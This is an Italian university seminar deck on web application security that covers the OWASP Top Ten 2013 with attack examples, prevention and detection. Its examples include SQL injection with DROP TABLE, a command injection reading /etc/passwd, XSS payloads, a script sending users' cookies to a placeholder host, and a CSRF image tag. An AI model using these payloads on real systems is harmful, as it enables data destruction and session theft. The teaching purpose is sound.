Seminario sulla sicurezza delle applicazioni...

25 novembre 2014Università degli Studi di Verona

Andrea Zwirner – LinkspiritSeminario sulla sicurezza delle applicazioni web 1

Seminario sulla sicurezza delle applicazioni web

Andrea Zwirner

[email protected]

@AndreaZwirner

Sicurezza informatica

Università degli Studi di VeronaCorso di Laurea Magistrale in Informatica



● Mi interesso di sicurezza informatica dallo scorso millennio

– “Connettere” significava “intrecciare”

– Hacker non aveva ancora alcun significato

● Ho fondato Linkspirit, azienda che si occupa di

– Consulenza nella progettazione sicura di software e sistemi

– Verifiche di sicurezza su software e sistemi

– Formazione in materia di sicurezza informatica

Chi sono



Cosa faccio

● Partecipo a diversi progetti liberi legati la divulgazione della cultura sulla sicurezza informatica

www.isecom.org

www.hackerhighschool.org

www.owasp.org

Progetto scuole www.progettoscuole.it



Di cosa parliamo oggi

● Esamineremo le 10 vulnerabilità più rischiose in ambito web application secondo il top ten project di Owasp

– Descrizione tecnica

– Impatti tecnici e di business

– Scenari ed esempi d'attacco

– Modalità di prevenzione

– Modalità di rilevazione



Di cosa parliamo oggi

● Esamineremo le 10 vulnerabilità più rischiose in ambito web application secondo il top ten project di Owasp

– Descrizione tecnica

– Impatti tecnici e di business

– Scenari ed esempi d'attacco

– Modalità di prevenzione

– Modalità di rilevazione

● Il tutto dopo un bel “pippolone” introduttivo sull'importanza sociale della sicurezza informatica



La sicurezza informatica

● Insieme di misure di carattere organizzativo, tecnologico e procedurale mirate a garantire

– CONFIDENZIALITÀ

– INTEGRITÀ

– DISPONIBILITÀ

dell'informazione.



Come funziona

● Definizione di politiche di accesso a servizi e informazioni

– autenticazione

– autorizzazione → chi può fare cosa

● Difesa perimetrale● Difesa interna● Formazione degli utenti



Sicurezza informatica offensiva

● Utilizzo di strumenti e metodologie usate dagli attaccanti reali

● Accesso a servizi ed informazioni senza possedere i permessi previsti dalle politiche di sicurezza

– Lettura → Confidenzialità

– Scrittura → Integrità / Disponibilità

● Evidenzia le vulnerabilità di sicurezza



Sicurezza applicativa

● Modellazione ed analisi dei rischi derivanti dal software





● Consapevolezza di analisti, sviluppatori, beta tester, utenti finali

– Sviluppo dell'architettura (secure by design)

– Ciclo di sviluppo del software

– Scrittura del codice

– Controlli di sicurezza comuni nelle fasi di test / review





● Consapevolezza di analisti, sviluppatori, beta tester, utenti finali

– Sviluppo dell'architettura (secure by design)

– Ciclo di sviluppo del software

– Scrittura del codice

– Controlli di sicurezza comuni nelle fasi di test / review

– Utilizzo consapevole da parte degli utenti finali




Il problema non è tecnologico, ma culturale!



Il problema è culturale

● Possiamo immaginare la sicurezza come una catena composta da anelli tecnologici ed umani

● Portare a buon fine un attacco informatico significa riuscire a rompere questa catena

● Una catena è resistente quanto il suo anello più debole

● L'anello più debole della catena è la componente umana



Qual è l'idea da cui dobbiamo liberarci



In realtà le cose vanno così












La strategia europea



Consapevolezza

Se non si coinvolgono gli utenti, ogni sforzo è vano

“Ensuring cybersecurity is a common responsibility. End users play a crucial role in ensuring the security of networks and information systems: they need to be made aware of the risks they face online and be empowered to take simple steps to guard against them.”

Cybersecurity Strategy of the European Union

Commissione europea, febbraio 2013



La strategia italiana



Consapevolezza

“[…] al fine di rafforzare le capacità nazionali di prevenzione, reazione e ripristino […] individua come nodi primari […]:

promozione e diffusione della cultura della sicurezza cibernetica sia tra i cittadini che all’interno delle istituzioni [...] al fine di accrescere il livello di consapevolezza e di conoscenza della minaccia e dei relativi rischi”

Quadro strategico nazionale per la sicurezza dello spazio cibernetico

Presidenza del Consiglio dei Ministri, dicembre 2013



● Il web non è stato progettato per essere ne dinamico ne sicuro

– Contenuti statici in sola lettura

– Nessuna sicurezza implicita (o “by design”)

Sicurezza delle applicazioni web



● Il web non è stato progettato per essere ne dinamico ne sicuro

– Contenuti statici in sola lettura

– Nessuna sicurezza implicita (o “by design”)

● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo

– Svariati petabyte di informazioni di miliardi di utenti (privati, aziende, banche e governi)

– Accesso diretto alle macchine degli utenti stessi

– Ampia superficie d'attacco

Sicurezza delle applicazioni web



Superficie d'attacco

www.draw-shapes..de

firewall

clientutente/sistma

draw-shapes.de

web server

database

autenticazione

www.draw-shapes.de

web service

controlloaccessi



La metodologia

O W A S P

Open Web Application Security Project



● Associazione senza scopo di lucro

● Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui

Open Web Application Security Project



● Si occupa di ricerca e divulgazione della cultura della sicurezza

● Mantiene svariati (e rinomati) progetti legati la sicurezza applicativa

● Includono informazioni circa librerie, API, best practices, auditing, suddivisi nelle tre categorie

– Protect

– Detect

– Life Cycle

Di cosa si occupa OWASP



● Descrive le dieci vulnerabilità valutate come più rischiose in ambito web application

● Indirizzato a sviluppatori, designer, manager ed organizzazioni● Fornisce linee guida per prevenire e rilevare le vulnerabilità

descritte● Indipendente da linguaggio / framework utilizzato

Top Ten Project



● Mobile Security Project

– Top Ten Mobile Risks

– Top Ten Mobile Controls

ENISA – European Network and Information Security Agency

● Development Guide● Secure Coding Practices - Quick Reference Guide● Code Review Guide● Testing Guide – Web Goat Project

Progetti OWASP interessanti



● A1: Injection● A2: Broken Authentication and Session Management● A3: Cross-Site Scripting (XSS)● A4: Insecure Direct Object References● A5: Security Misconfiguration● A6: Sensitive Data Exposure● A7: Missing Function Level Access Control● A8: Cross-Site Request Forgery (CSRF)● A9: Using Known Vulnerable Components● A10: Unvalidated Redirects and Forwards

Top Ten 2013



● La vulnerabilità

– Si verifica quando dati non fidati sono inviati direttamente ad un interprete (SQL, OS, LDAP, etc)

– Un attaccante può inviare richieste forgiate in modo da forzare l'interprete ad eseguire comandi non previsti

● Vettori d'attacco

– Qualunque fonte di dati, incluse quelle interne

A1 - Injection



● Difficoltà di sfruttamento: semplice

● Impatto tecnico: grave

– Takeover del completo database (e.g. sqlmap)

– Eliminazione / alterazione dei dati gestiti dall'interprete

– Blocco / corruzione / possesso del sistema informatico

● Impatto sul business: non determinato

– Proporzionale all'importanza dei dati gestiti a livello di business

A1 – impatti



● Parametrizzazione insicura di una query SQL1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);

A1 – esempio di SQL Injection




● Parametri attesi_post(id) = n naturale (o, al più, intero)






● Esempio di parametro inatteso_post(id) = 23'; DROP TABLE tab; --






● Esempio di parametro inatteso_post(id) = 23'; DROP TABLE tab; --


SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; --'



Injection fun!



Titolo

ZU 0666',0,0); DROP DATABASE TABLICE; --



● Parametrizzazione insicura di un comando shell1. var_ip = _post(ip);2. command = “/bin/ping -c2 ” + var_ip;3. result = esegui_comando(command);4. stampa_nella_pagina(result);

● Parametri attesi_post(ip) = ip (indirizzo IP(v4))

● Esempio di parametro inatteso_post(ip) = 127.0.0.1; cat /etc/passwd

A1 – esempio di OS Injection



Facciamo una prova, vi va?

It's demo time!



Esempio 1

Dimostrazione in laboratorio

Esempio 2

Report di penetration test

It's demo time!



Injection fun, reprise!



● Utilizzare API che neghino l'uso diretto dell'interprete, fornendo un interfaccia parametrizzata

● Fare escaping dei caratteri speciali, usando le sequenze specifiche per l'interprete

● Attenzione: utilizzare WAF o white list canonizzando i comandi permessi può essere utile, ma non necessariamente risolutivo

– C'è sempre chi conosce le regexp meglio di te!

A1 - prevenzione



● Se non sono stati definiti pattern di sviluppo, si è vulnerabili.

● Revisione del codice

– Verifica della separazione fra gli interpreti ed i dati non fidati

● Penetration test

A1 – rilevazione



● Parametrizzazione sicura di una query (PHP + MySQL + mysqli)

1. $var_id = $_POST['id'];

2. $query = $db_conn->prepare('SELECT * FROM tab WHERE id = ?');

3. $query.bind_param('id', $var_id);

4. $query.execute();

5. $result = $query.get_result();

6. fai_qualcosa_con($result);

A1 – Esempio di parametrizzazione sicura




– Si verifica quando le funzioni legate ad autenticazione e gestione delle sessioni permettono la compromissione di password, chiavi o token di sessione o hanno falle nell'implementazione che possono portare ad assumere l'identità di utenti legittimi


– Sistemi di autenticazione ed autorizzazione

A2 – Broken Authentication and Session Management



● Difficoltà di sfruttamento: media


– Accesso con i privilegi di autorizzazione di qualunque utente, anche amministrativo


– Proporzionale al valore di business dei dati trattati o delle funzioni applicative

– Considerare l'impatto sul business della pubblicazione della falla (attacchi e reputazione)

A2 - impatti



● Brute force su password o username – password deboli● Predizione di identificativo di sessione o credenziali di

accesso● Replay – autenticazione al di fuori di un canale crittografato● Session spotting – assegnazione di sessione al di fuori di un

canale crittografato● Session fixation – assegnazione malevola di sessione

precedente-mente avviata● Timeout di sessione troppo lunghi o inesistenti● Password non crittografate o non salate nella base dati

A2 – scenari d'attacco



● Mettere a disposizione degli sviluppatori un singolo e sicuro insieme di controlli per l'autenticazione e la gestione delle sessioni che

– Abbia un'interfaccia semplice da utilizzare

– Sia ben documentato

– Aderisca ad uno standard affiabile● Application Security Verification Standard (ASVS)

● Verificare che i controlli non siano vulnerabili ad attacchi di tipo XSS (→ A3: XSS), che permetterebbero il furto di sessioni

A2 - prevenzione



● Il concetto principe è la verifica di protezione di credenziali ed id di sessione

– Le credenziali sono salvate usando hash (salted) o crittografia?

– E' possibile indovinare o modificare le credenziali mediante errori nelle funzioni di gestione degli account?

– Creazione, cambio / recupero password, etc

– Gli id di sessione sono esposti negli URL?

– Gli id di sessione sono vulnerabili ad attacchi del tipo session fixation?

A2 – rilevazione



A2 – rilevazione

● Le sessioni hanno timeout?● Gli utenti possono disconnettersi?● Gli id di sessione sono cambiati in seguito ad ogni variazione

del livello di autorizzazione?● Le password e gli id di sessione sono scambiati attraverso

canali crittografati? (→ A6: Sensitive Data Exposure)




– Si verifica quando un'applicazione include informazioni non fidate nei contenuti serviti agli utenti.

– L'attacco consiste nell'inviare ai browser degli utenti script che ne sfruttano l'interprete.


– Qualunque fonte di informazioni, comprese quelle interne, come il database

A3 – Cross-Site Scripting (XSS)




● Impatto tecnico: moderato

– Esecuzione di script lato client (dentro al browser): furto di sessioni, inserimento di contenuti ostili, redirezione utenti, etc


– Importanza di business del sistema e dei dati che elabora

– Impatto sul business della pubblicazione della falla

A3 – impatti



● Le falle di tipo XSS si dividono in tre tipologie

– Stored XSS● Il codice malevolo è persistente lato server (database)

– Reflected XSS● Il codice malevolo è contenuto nella risposta data dal

server ad una richiesta forgiata opportunamente

– DOM based XSS● Il codice malevolo è frutto della modifica all'ambiente

DOM del browser dell'utente (avviene tutto lato client)

A3 – tipologie



JavaScript browser environment

Document Object Model (DOM)

document and related objects allow to access contents of the page, modify elements etc. Most interaction with HTML is handled here.

Browser Object Model (BOM)

BOM is a pack of objects that allow to control the browser, e.g change current URL, access frames, do background requests to server with XMLHttpRequest etc. Functions like alert,confirm,prompt also belong BOM, they are provided by the browser.

JavaScript objects and functions

JavaScript itself is a language which gives us access to DOM, BOM and provides objects and functions of its own.



● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)

Nome: “Andrea”

Commento: “questo è un bel sito!”




● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)

Nome: “Andrea”

Commento: “questo è un bel sito!”

● Il risultato sarà qualcosa del tipo<html><h1>Commenti degli utenti</h1>Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: questo è un bel sito!<br/></html>




● Fin qui tutto bene, ma se invece come commento fosse stato inserito:

“bello davvero! <script>alert('XSS');</script>”




● Fin qui tutto bene, ma se invece come commento fosse stato inserito:

“bello davvero! <script>alert('XSS');</script>”

● La pagina sarebbe diventata:<html>

<h1>Commenti degli utenti</h1>

Tizio: ma che nome c'ho?<br/>

Caio: a chi lo dici!<br/>

Andrea: bello davvero! <script>alert('XSS');</script><br/>

</html>




● Risultato: esecuzione di codice arbitrario all'interno del browser degli utenti del sito!




● Si tratta di un attacco famoso: ha anche un profilo su Linkedin!

Il celebre alert('XSS')



● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli ID di sessione) ed impersonarli all'interno del sito.

– Nome: Andrea

– Commento:

<script>

new Image.src='http://x.y.z.w/ruba_cookie.cgi?dati='

+ document.cooke;

</script>




● Impedire l'inserimento dei tag <script> e </script>!

A3 – prevenzione (?)



● Impedire l'inserimento dei tag <script> e </script>…

NON RISOLVE IL PROBLEMA!!!

● Nome: Andrea

● Commento: <img src=”XXX” onError=”alert('XSS');”>

● Facilmente estensibile ai tag <a> e <div>, con gli eventi onMouseOver, onMouseOut, onClick, etc

A3 – prevenzione (?!)



Facciamo una prova, vi va?

It's demo time!



● Il concetto principe è quello di separare i dati non fidati dai contenuti web (da inviare ai browser)

● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc)

– OWASP XSS Prevention Cheat Sheet● Applicare white list per la validazione degli input

– solo lettere, solo cifre, solo cifre + “/” (date), etc

● Nei casi di rich contents, cosiderare l'uso di librerie di auto-sanization (→ OWASP AntiSamy)

A3 – prevenzione



● Si è vulnerabili → Il database contiene già codice malevolo.

– verificare che qualunque contenuto inviato sia gestito correttamente (escaped) prima di includerlo in ogni pagina.

● Esistono tool automatici per la ricerca delle falle

– DOMinator di MindedSecurity

● Ma l'unica certezza è combinare code review e penetration test

A3 – rilevazione




– Si verifica quando l'applicazione usa riferimenti diretti ad oggetti (es. file, directory, chiavi db) per la generazione delle pagine, senza verificare che l'utente che li richiede abbia i permessi di autorizzazione necessari a manipolarli

● Vettori di attacco

– Cambio di riferimenti ad oggetti da parte di utenti (eventualmente) autenticati in url o parametri GET/POST

A4 – Insecure Direct Object References




● Impatto tecnico: medio

– Compromissione (lettura e/o scrittura) di tutti i dati referenziati dal parametro

● Impatti sul business: non determinati

– Proporzionali al valore di business dei dati trattati

– Considerare l'impatto sulla reputazione

A4 – impatti



1. conto = _post['conto'];

2. query = prepara('SELECT * FROM conti WHERE conto = %',

conto);

3. result = invia_al_database(query);

4. fai_qualcosa_con(result);

● L'attaccante non deve fare altro che modificare il parametro POST conto ed otterrà il risultato per un conto per cui non possiede autorizzazione.




● Non lo è.

Vi sembra banale?



Il caso ASS 4



Il caso ASS 4



Il caso ASS 4



Il caso $Provider_Di_Servizi_Internet












● L'approccio è quello di proteggere qualunque oggetto accessibile dagli utenti

– Usare riferimenti indiretti agli oggetti (per utente o sessione)

– Esempio: non mettere gli id a database in una drop-down list, ma una mappatura degli stessi generata dinamicamente per la sessione attiva

● Verificare l'autorizzazione prima effettuare qualunque operazione sui dati (lettura compresa!)

A4 – prevenzione



● Mappatura degli oggetti

1. query = prepara('SELECT prendiContiDaSessione(%)', session_id);

2. conti[] = invia_al_database(query);

3. metti_conti_in_dropdown(conti[], dropdown);

… qui c'è l'interazione dell'utente …

A4 – esempio sicuro



1. map_conto = prendi_indice_selezionato(dropdown);

2. query = prepara('SELECT verificaPermessi(%,%)',

conti[map_conto], session_id);

3. result = invia_al_database(query);

4. if (result) {

5. tutto_ok_procedi();

6. } else {

7. biasima_utente_e_disconnetti(session_id);

8. }




● Verificare che tutti i riferimenti ad oggetto siano indiretti e protetti adeguatamente

– Mappatura dinamica e limitata alle risorse cui l'utente (o la sessione) ha autorizzazione

– Accesso di default ai dati in sola lettura

– Verifica d'autorizzazione in scrittura nel caso di successiva richiesta di manipolazione degli oggetti referenziati

– In caso di incongruenza chiudere le sessioni!!

● Nel (malaugurato) caso di necessità di riferimenti diretti, valgono le stesse regole!

A4 – rilevazione e prevenzione




– Si tratta di errate configurazioni.

– Possono insidiarsi a qualunque livello dello stack applicativo (infrastruttura, web server, app. server, framework, librerie esterne, codice).

– Occorre coordinazione tra sviluppatori, amministratori di rete e sistemisti!


– Account di default, pagine inutilizzate, falle non patchate (a qualunque livello), file o directory non protetti, modalità di debug attiva, etc

A5 – Security misconfiguration





● Accesso ed informazioni e funzionalità di sistema. Può portare alla sua totale compromissione (anche silente e persistente).


– Il sistema può essere totalmente compromesso ed i dati rubati, modificati o eliminati.

– I costi di analisi e recupero del sistema (ove possibile) possono essere molto ingenti

A5 - impatti



● Definire una procedura di deployng ed hardening ripetibile per un eventuale recovery indolore

● Ambienti di sviluppo, test e produzione devono essere identici sia architetturalmente che nella configurazione

● Definire una procedura per mantenere allineato all'ultima versione stabile (e compatibile) tutto lo stack (sia testing che deployng)

● Considerare l'eventualità di effettuare periodicamente scan automatizzati, audit e/o penetration test a tutta l'infrastruttura

A5 – prevenzione



● Per ogni software utilizzato (so, web server, app server, framework, librerie, etc), rispondere alle domande:

– Esiste un processo per tenere tutto il sistema aggiornato (incluse tutte le librerie applicative)?

– E' stato disabilitato tutto ciò che non è necessario?

– Sono stati applicati di tutti i criteri di hardening (e best practices) per ogni componente dell'infrastruttura?

● Nel caso si risponda no a qualcosa, si saprà dove andare a cercare.

● Utilizzo di scanner automatici (nmap, openvas, nessus, etc)

A5 – rilevazione




– Spesso le informazioni riservate (comprese le credenziali) non sono crittografate, alle volte gli algoritmi o le chiavi utilizzate sono banali


– Dati memorizzati in chiaro

– Se i dati sono crittografati, raramente viene attaccata la crittografia. Sono piuttosto attaccati:

● il browser → insicuro o usato irresponsabilmente● le chiavi → troppo semplici, gestite in modo insicuro● il trasporto → in chiaro o “chiarificabile”

A6 – Sensitive Data Exposure



● Difficoltà di sfruttamento: difficile

– Nel caso di dati crittografati


– Spesso la compromissione riguarda tutti i dati che sarebbero dovuti essere protetti: se come chiave uso “PIPPO123” che senso ha farne due per due diversi tipi di dato?!

● Impatto di business: non determinato

– Considerare il valore della riservatezza delle informazioni, le responsabilità legali, ed il danno alla reputazione

A6 – impatti



● Crittografia delle informazioni usando le funzioni native del database (Transparent Data Encryption). Questo implica l'averle crittografate sul supporto ed in chiaro quando richieste. Anche nel caso di SQL injection.

● Mancato utilizzo di crittografia sul canale per tutta la durata della sessione, ma solo per la fase di autenticazione.

● Le credenziali sono salvate a database con hash semplice e non salate (utilizzo di hash precalcolati o rainbow tables).




● Nulla di ciò che non c'è può essere rubato. Non salvare dati confidenziali non necessari o distruggerli il prima possibile.

● Utilizzare crittografia forte di tutti i dati confidenziali sia sul database che in transito

● Utilizzare le funzioni crittografiche corrette! Per le password usare key derivation functions: bcrypt, PBKFD2 o scrypt.

● Disabilitare le funzioni di autocompletamento per i form che gestiscono dati confidenziali e quelle di caching per le pagine che li contengono.

A6 - prevenzione



● Definire quali dati sono da considerarsi confidenziali (!!!)● Definire le funzioni crittografiche da utilizzare per le diverse

tipologie di dato confidenziale● Verificare che le chiavi eventualmente generate siano robuste,

gestite in maniera sicura e sia possibile sostituirle (!)

● Verificare che i dati al primo punto siano crittografati sia a database che in transito come stabilito nel secondo punto

● Verificare che, per ogni pagina, siano inviate ai browser direttive adeguate alla protezione dei dati in esse contenuti.

A6 – rilevazione




– Analoga ad A4: Si verifica quando l'applicazione permette la chiamata di funzioni protette senza verificare che l'utente abbia i permessi di autorizzazione necessari a chiamarle.

– Nota: quello che solitamente accade è che le funzioni non permesse sono escluse dalla UI, ma se richiamate, si eseguono.


– Manipolazione di URL o parametri a funzioni protette da parte di utenti autenticati e non

A7 – Missing Function Level Access Control





– Permesso di accesso a funzioni non autorizzate / amministrative


– Proporzionale al valore di business delle funzioni esposte e dei dati che manipolano

– Considerare anche l'impatto sulla reputazione nel caso di pubblicazione della falla

A7 – impatti



● Un utente non autenticato può accedere ad una pagina per la che richiede autenticazione, digitandone l'URL, ad esempio:

– non può superare www.sito.it/benvenuto.php

– ma può richiamare www.sito.it/mostra_qualcosa.php

● Un utente autenticato può eseguire funzioni non mostrate nell'interfaccia, che richiedono autorizzazione superiore, modificando URL e parametri

– dalla pagina www.sito.it/mostra_qualcosa.php

– alla pagina www.sito.it/modifica_qualcosa.php

A7 – esempi



● Una pagina contiene un parametro “azione” che specifica la funzione da eseguire, il livello di autorizzazione non viene verificato:

– dalla pagina www.sito.it/gestisci.cgi?azione=mostra

– alla pagina www.sito.it/gestisci.cgi?azione=modifica

A7 – esempi



● Utilizzare un modulo specifico, anche esterno, per gestire l'autorizzazione

– con un interfaccia semplice

– che permetta di essere richiamato da tutte le funzioni● Prevedere una gestione dei permessi semplice da modificare

e verificare. Evitare l'hard coding● Applicare il divieto di esecuzione come policy di default. Prima

di concedere l'esecuzione di funzioni, richiedere autorizzazioni esplicite date da regole specifiche

● Nel caso di anomalia nella verifica (fallimento di un controllo), chiudere la sessione.

A7 – prevenzione



● Contrariamente ad A4 la verifica avviene a livello di funzione

1. function funzione_amministrativa(id_sessione, …) {

2. aut_rich = CO_LIVELLO_AUTH_PER_DISTRUZIONE_DEL_PIANETA;

3. if verifica_autorizzazione(id_sessione, aut_rich) {

4. tutto_ok_procedi();

5. } else {

6. biasima_utente_e_disconnetti(id_sessione);

7. }

8. }




● Il metodo più rapido è quello di verificare come viene permessa l'esecuzione di ogni funzione:

– L'interfaccia grafica nasconde le funzioni per le quali l'utente non dispone di autorizzazione?

– Le funzioni effettuano una verifica di autorizzazione prima dell'esecuzione?

– Le verifiche sono fatte su informazioni residenti sul server o utilizzano dati inviati dall'utente?

A7 - rilevazione




– Si verifica quando è possibile prevedere ogni parametro richiesto per effettuare una specifica chiamata a funzione.

– In questo caso è possibile far eseguire operazioni non volute al browser di un utente legittimo


– Iniezione di richieste HTTP forgiate via tag d'immagine, XSS, iframe o altre tecniche

– Hanno successo ogni qual volta l'utente è già autenticato

A8 – Cross-site Request Forgery (CSRF)





– Per quanto distruttive, l'attaccante può far eseguire solo funzioni cui l'utente è autorizzato


– Considerare l'importanza a livello di business dei dati trattati

– Considerare l'importanza di non essere certi dell'effettiva intenzione dell'utente e la sua sfiducia nell'applicazione

A8 – Impatti



● L'utente è autenticato sul sito e visita (volontariamente o meno) una pagina del sito dell'attaccante contenente:

<img src='www.sito.it/esegui=vuota_db'

width='0'

height='0'>

● All'invio della richiesta HTTP, il browser includerà automaticamente le informazioni di sessione dell'utente sul sito www.sito.it e la funzione verrà eseguita

A8 – Esempio



● Includere un token unico e casuale in ogni pagina che preveda interazione da parte dell'utente, inserendolo in un campo nascosto e verificandolo ad ogni richiesta ricevuta

● Richiedere ri-autenticazione o prova di umanità (captcha), per le funzioni più delicate

● Ricordarsi di applicare timeout di sessione con tempi inversamente proporzionali al livello di autorizzazione degli utenti

A8 – Prevenzione



● Verificare se ogni link o modulo include un campo contenente un token unico, dinamico e non calcolabile

● Assicurarsi che le funzioni chiamate verifichino il token (!)● Form e link che invocano sulle funzioni che alterano lo stato

dei dati sono le prime a dover essere verificate

– In caso di limiti di tempo o budget concentrarsi su queste● Ricordare che, per prevenire attacchi del tipo CSRF, non si

può fare affidamento su cookies o indirizzi IP di provenienza

A8 - rilevazione




– Si verifica quando l'applicazione fa uso di componenti esterne, librerie, framework, loro dipendenze o altri moduli che sono affetti da vulnerabilità note


– Variabili a seconda delle componenti utilizzate

A9 – Using Components With Known Vulnerabilities





– In base alla tipologia di vulnerabilità ed al ruolo del componente vulnerabile all'interno del sistema, può portare da effetti triviali al possesso completo del server ed alla compromissione di ogni dato in esso contenuto


– Considerare il danno derivante dalla compromissione dell'intero sistema

A9 – impatti



● Dipendono dalle componenti installate e sono i più disparati

● L'aspetto da tenere sempre in considerazione è che per l'esecuzione delle componenti esterne non è quasi mai applicato il principio del privilegio minimo

– Le componenti esterne sono quasi sempre eseguite con privilegi completi o comunque molto alti




● Assicurarsi di tenere ogni componente del sistema aggiornato all'ultima versione stabile e compatibile con il resto del sistema

– Identificare ogni componente utilizzata e le relative dipendenze e le loro modalità di aggiornamento

– Monitorare la sicurezza delle stesse su database pubblici (CVE, NVD), ML dei rispettivi progetti, ML di sicurezza

– Stabilire policy per l'utilizzo di componenti esterne● essere sviluppate seguendo pratiche di sviluppo sicure● superamento di test di sicurezza definiti● sensibilità del produttore alle tematiche di sicurezza

A9 – prevenzione



● Enumerare tutte le componenti, librerie, dipendenze, framework, moduli esterni utilizzati (nome, versione e sviluppatore) e punti in cui vengono richiamate

● Ricercare vulnerabilità note per gli stessi sui database CVE e NVD

● Valutare se il proprio codice fa uso delle porzioni di codice del componente contenenti le vulnerabilità trovate

A9 – rilevazione




– Avviene quando l'applicazione redirige o inoltra l'utente verso un'altra pagina o sito utilizzando, senza validarli, dati non fidati per determinare la destinazione


– Collegamenti malevoli inviati all'utente, che li utilizza senza senza preoccupazioni, in quanto puntano a siti validi / fidati

– Nota: questa vulnerabilità è molto efficace per il phishing, in quanto fa leva sulla fiducia che l'utente ripone nel sito!

A10 – Unvalidated Redirects and Forwards





– Possono portare all'installazione di malware o alla divulgazione di password o altri dati confidenziali e quindi al bypass dei controlli di autenticazione


– Considerare il valore della fiducia da parte dell'utente

– Pensare ai casi di infezione da malware o accesso a funzioni protette da parte di terzi

A10 – impatti



● L'applicazione usa una pagina per il redirect che attende in input il parametro to contenente l'URL di destinazionewww.sito.it/go.cgi?to=www.malware.ru/get_malware.html

● L'applicazione usa forward per ruotare le richieste da una pagina all'altra del sito usando il parametro fwd per determinare dove inviare l'utente al termine dell'elaborazione:http://www.sito.it/funzione1.cgi?fwd=funzione2.cgi

● In questo caso è possibile dirottare l'utente verso un sito malevolo o anche verso funzioni interne normalmente non disponibili all'utente

A10 – esempi



● Evitare l'uso di redirect e forward (sono i goto del web!)

● Non utilizzare parametri passati dall'utente (non fidati) per il calcolo delle destinazioni

● Se i parametri passati dall'utente sono necessari

– validarli e verificare le autorizzazioni per la destinazione

– preferire il mapping di destinazioni, evitando l'inserimento esplicito di URL, parti di URL o nomi di funzioni (vedere A4)

A10 – prevenzione



● Ricercare nel codice tutti i redirect e forward (transfers in .Net)

● Analizzare il sito dall'esterno e cercare tutti i redirect a livello HTTP (codice 3xx)

● Per entrambi verificare se la destinazione (o parte di essa) fa parte dei parametri passati dall'utente ed in tal caso se sono validati ed è verificata l'autorizzazione

A10 - rilevazione



Superficie d'attacco...

www.draw-shapes..de

firewall

clientutente/sistma

draw-shapes.de

web server

database

autenticazione

www.draw-shapes.de

web service

controlloaccessi



www.draw-shapes..de

firewall

clientutente/sistma

draw-shapes.de

web server

database

autenticazione

www.draw-shapes.de

web service

controlloaccessi

… e suo sfruttamento

XSS

CSRFClickjacking

PacketSniffing

Param.Tampering

DirectoryTraversal

Direct ObjRef

SQLInjection

XMLInjection

Tokenforgery

LDAPInjection

SensitiveData Exp

SecurityMisconfig



Abbiamo finito.

Chi vuole fare un po' di laboratorio?

It's lab time!



● Editare il file di hosts come amministratore/root

– Windows C:\WINDOWS\system32\drivers\etc\hosts

– Mac OS X /private/etc/hosts

– Linux /etc/hosts

INDIRIZZO_IP target

● Puntare il browser verso: http://target/

● Evitate di fare danni a gratis, altrimenti dobbiamo riavviare la macchina condivisa e perdere un sacco di tempo. Grazie.

Laboratorio



● OWASP – Documenti citati nella presentazione e gli Cheat Sheet.

● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN

● B. Damele – Advanced SQL injection to operating system full control – 2009

● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013

● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!

● E. Benoist – Broken Authentication and Session Management – 2012

– In realtà Benoist è svizzero ed ha erroneamente scritto “Brocken” invece che “Broken” nel titolo della versione 2012 del documento.

● K. Kuliukas – How Rainbow Tables work

● B. Hardin – Series about the Owasp Top 10 – 2009

● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013

● Presidenza del Consiglio dei Ministri – Quadro strategico nazionale per la sicurezza dello spazio cibernetico – 2013

● Laboratori virtuali disponibili: OWASP Webgoat, w4pt (web for pen testers), Offensive security Metasploitable, Damn Vulnerable Linux

Qualche riferimento



Seminario sulla sicurezza delle applicazioni web

Andrea Zwirner

[email protected]

@AndreaZwirner

Sicurezza informatica

Università degli Studi di VeronaCorso di Laurea Magistrale in Informatica

Date post:	04-Jun-2020
Category:	Documents
Upload:	others
View:	3 times
Download:	1 times

Seminario sulla sicurezza delle applicazioni...

Documents